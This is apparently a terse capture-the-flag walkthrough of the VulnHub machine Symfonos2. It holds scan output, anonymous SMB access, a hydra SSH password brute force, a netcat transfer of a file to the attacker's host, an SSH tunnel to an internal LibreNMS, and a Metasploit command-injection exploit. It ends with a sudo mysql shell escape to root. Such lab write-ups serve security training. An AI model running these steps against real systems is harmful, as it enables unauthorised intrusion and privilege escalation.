SMBCLIENT

SSH BRUTE FORCE

SSH TUNNELING

LIBRENMS EXPLOIT

SUDO MYSQL

```
PORT    STATE SERVICE     VERSION

21/tcp  open  ftp         ProFTPD 1.3.5

22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

| ssh-hostkey:

|   2048 9d:f8:5f:87:20:e5:8c:fa:68:47:7d:71:62:08:ad:b9 (RSA)

|   256 04:2a:bb:06:56:ea:d1:93:1c:d2:78:0a:00:46:9d:85 (ECDSA)

|_  256 28:ad:ac:dc:7e:2a:1c:f6:4c:6b:47:f2:d6:22:5b:52 (ED25519)

80/tcp  open  http        WebFS httpd 1.21

|_http-server-header: webfs/1.21

|_http-title: Site doesn't have a title (text/html).

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)

MAC Address: 00:0C:29:E7:CE:39 (VMware)

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.2 - 4.9

Network Distance: 1 hop

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


Host script results:

|_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: 0s

|_nbstat: NetBIOS name: SYMFONOS2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

| smb-os-discovery:

|   OS: Windows 6.1 (Samba 4.5.16-Debian)
|   Computer name: symfonos2

|   NetBIOS computer name: SYMFONOS2\x00

|   Domain name: \x00

|   FQDN: symfonos2

|_  System time: 2020-04-18T07:47:38-05:00

| smb-security-mode:

|   account_used: guest

|   authentication_level: user

|   challenge_response: supported

|_  message_signing: disabled (dangerous, but default)

| smb2-security-mode:

|   2.02:

|_    Message signing enabled but not required

| smb2-time:

|   date: 2020-04-18T12:47:38

|_  start_date: N/A

 Sharename       Type      Comment

        ---------       ----      -------

        print$          Disk      Printer Drivers

        anonymous       Disk

        IPC$            IPC       IPC Service (Samba 4.5.16-Debian)

S-1-5-21-629329663-2933547119-2337616968-501 SYMFONOS2\nobody (Local User)

root@kali:/home/kali/Desktop/vulnhub/symfonos2# smbclient //symfonos2/anonymous -U ""

Enter WORKGROUP\'s password:

Try "help" to get a list of possible commands.

smb: \> dir

  .                                   D        0  Thu Jul 18 10:30:09 2019

  ..                                  D        0  Thu Jul 18 10:29:08 2019

  backups                             D        0  Thu Jul 18 10:25:17 2019


                19728000 blocks of size 1024. 16311468 blocks available
```

```
smb: \> cd backups\
smb: \backups\> dir
  .                          D        0  Thu Jul 18 10:25:17 2019
  ..                         D        0  Thu Jul 18 10:30:09 2019
  log.txt                        N    11394  Thu Jul 18 10:25:16 2019

                19728000 blocks of size 1024. 16311468 blocks available
smb: \backups\> get log.txt
getting file \backups\log.txt of size 11394 as log.txt (1236.3 KiloBytes/sec) (average 1236.3 KiloBytes/sec)
   path = /home/aeolus/share
root@akg:/home/akg/Desktop/vulnhub/symfonos2# hydra -l aeolus -P /usr/share/wordlists/rockyou.txt symfonos2 ssh
root@akg:/home/akg# ssh aeolus@192.168.2.107 (sergioteamo)
root@akg:/home/akg/Desktop/vulnhub/symfonos2# nc -l -p 1234 > report
aeolus@symfonos2:/tmp$ nc -w 3 192.168.2.158 1234 < report
aeolus@symfonos2:/etc/apache2/sites-enabled$ cat librenms.conf
<VirtualHost 127.0.0.1:8080>
  DocumentRoot /opt/librenms/html/
  ServerName  localhost

  AllowEncodedSlashes NoDecode
  <Directory "/opt/librenms/html/">
    Require all granted
    AllowOverride All
    Options FollowSymLinks MultiViews
  </Directory>
</VirtualHost>
root@akg:/home/akg/Desktop/vulnhub/symfonos2# searchsploit librenms
--------------------------------------------------------------------------------------------------- ---------------------------------------
 Exploit Title                                                                            |  Path
                                                                                        | (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------------- ---------------------------------------
```

```
LibreNMS - Collectd Command Injection (Metasploit)                      | exploits/linux/remote/47375.rb
LibreNMS - addhost Command Injection (Metasploit)                       | exploits/linux/remote/46970.rb
LibreNMS 1.46 - 'addhost' Remote Code Execution                         | exploits/php/webapps/47044.py
```

```
root@akg:/home/akg/Desktop/vulnhub/symfonos2# ssh -L 8080:localhost:8080 aeolus@192.168.2.107
```

http://127.0.0.1:8080/login

```
msf5 exploit(linux/http/librenms_addhost_cmd_inject) > options

Module options (exploit/linux/http/librenms_addhost_cmd_inject):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PASSWORD  sergioteamo      yes       Password for LibreNMS
  Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS    127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     8080             yes       The target port (TCP)
  SSL       false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI /                yes       Base LibreNMS path
  USERNAME  aeolus           yes       User name for LibreNMS
  VHOST                      no        HTTP server virtual host

msf5 exploit(linux/http/librenms_addhost_cmd_inject) > sessions 1
cronus@symfonos2:/opt/librenms/html$ sudo –l
cronus@symfonos2:/opt/librenms/html$ sudo /usr/bin/mysql -e '\! /bin/sh'
```

ROOTED!!!!!

https://infosecjohn.blog/posts/vulnhub-symfonos-2/